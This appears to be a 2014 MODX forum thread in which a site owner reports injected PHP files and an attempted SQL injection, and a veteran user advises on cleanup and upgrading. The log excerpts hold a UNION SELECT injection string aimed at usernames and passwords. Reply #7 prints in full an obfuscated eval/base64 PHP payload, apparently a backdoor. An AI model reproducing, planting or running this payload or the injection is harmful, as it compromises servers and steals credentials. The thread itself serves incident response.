strange attack and 3 files inserted in assets folders (revo 2.2.6)

268 Posts

elz064 Reply #1, 12 years, 4 months ago

Hi,
3 Files have been injected in my assets/ folder.
it's hidden php.
and here's the modx error log excerpt that could be in relationship with the attack.
Anyone could have an idea.

Ok I know I should have upgrade to 2.2.14 but this site is still 2.2.6

thank you

[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Error 42S22 executing statement: 
Array
(
    [0] => 42S22
    [1] => 1054
    [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'
)

[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not load context: mgr
[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
<b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />

[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Error 42S22 executing statement: 
Array
(
    [0] => 42S22
    [1] => 1054
    [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'
)

[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not load context: mgr
[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
<b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />

[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Error 42S22 executing statement: 
Array
(
    [0] => 42S22
    [1] => 1054
    [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'
)

[2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
[2014-06-11 23:04:33] (ERROR @ /connectors/element/index.php) Could not load context: mgr
[2014-06-11 23:04:33] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
<b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />

[2014-06-12 12:36:05] (ERROR @ /connectors/system/settings.php) Could not prepare context: asdasdas
[2014-06-12 12:36:05] (ERROR @ /connectors/system/settings.php) Could not load context: mgr
[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not load context: mgr
[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
<b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />

[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not load context: mgr
[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
<b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />

[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not load context: mgr
[2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
<b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />

☆ A M B ☆
24,524 Posts

sottwell Reply #2, 12 years, 4 months ago

There is an exploit becoming common where malicious .php files are inserted into various directories. I had one Evo site that I don't really maintain any more get this. As a favor to the former client, I upgraded, then scanned the file system for older files, and found two which I removed, one in the site root and one in the /assets/ directory. Both were dated June 3. I also changed all passwords and usernames where possible (including FTP and CPanel), and deleted all unused Manager users. This site did have the older version of AjaxSearch, which is probably how it got compromised. I removed AjaxSearch from all of the Evo sites that I do maintain some time ago, and none of them, nor any of my Revo sites, have been compromised (yet!).

In some of the cases we've been hearing about, especially where the site is quickly re-infected, I suspect a user of having a compromised local machine, with password-searching or keylogging inserted. In such a case, all the cleanup and changing of passwords in the world won't help. Nor will it help if the server itself has been compromised.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org

268 Posts

elz064 Reply #3, 12 years, 4 months ago

Quote from: sottwell at Jun 12, 2014, 01:38 PM

There is an exploit becoming common where malicious .php files are inserted into various directories. I had one Evo site that I don't really maintain any more get this. As a favor to the former client, I upgraded, then scanned the file system for older files, and found two which I removed, one in the site root and one in the /assets/ directory. I also changed all passwords and usernames where possible (including FTP and CPanel), and deleted all unused Manager users. This site did have the older version of AjaxSearch, which is probably how it got compromised. I removed AjaxSearch from all of the Evo sites that I do maintain some time ago, and none of them, nor any of my Revo sites, have been compromised (yet!).

In some of the cases we've been hearing about, especially where the site is quickly re-infected, I suspect a user of having a compromised local machine, with password-searching or keylogging inserted. In such a case, all the cleanup and changing of passwords in the world won't help. Nor will it help if the server itself has been compromised.

Thank you.
But I have not AjaxSearch on Revo, only AdvancedSearch (which have, maybe, a comparable issue...?..)
This is the very case on one of my Revo.

☆ A M B ☆
24,524 Posts

sottwell Reply #4, 12 years, 4 months ago

I was using that as an example. Indeed, Revo does not have AjaxSearch. The principle is the same; somebody has found a vector for inserting malicious .php files at various points in the file system. Exactly what that vector is may be different in different cases.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org

268 Posts

elz064 Reply #5, 12 years, 4 months ago

ok.
So the log does not give usefull clues?

☆ A M B ☆
24,524 Posts

sottwell Reply #6, 12 years, 4 months ago

Looking at those error messages, it looks like there's an SQL injection in play.

    [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'

That %60 looks like a botched attempt at injecting something into one of the core MODX queries, in order to return the username and password. It's unfortunate that the offending query is truncated in the error message.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org

268 Posts

elz064 Reply #7, 12 years, 4 months ago

hmmm. that's what I'm affraid of...

here's the malicious code (in case someone could reverse it):

<?php
eval(gzuncompress(str_rot13(base64_decode("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"))));

☆ A M B ☆
24,524 Posts

sottwell Reply #8, 12 years, 4 months ago

It's useful in that we know that there is SQL injection being attempted. That's why we have security updates. If you don't upgrade when a security update is release, you're leaving your site open to attack.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org

268 Posts

elz064 Reply #9, 12 years, 4 months ago

yes, for sure. It was a matter of time for my own site.. I'll try to take care of upgrading it.

☆ A M B ☆
24,524 Posts

sottwell Reply #10, 12 years, 4 months ago

Fast and easy upgrade. Get this install.php script, put it in your site's root and run it from the web browser. It offers a number of versions, Evo and Revo, takes care of downloading and unzipping the version you select, then opens the setup.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org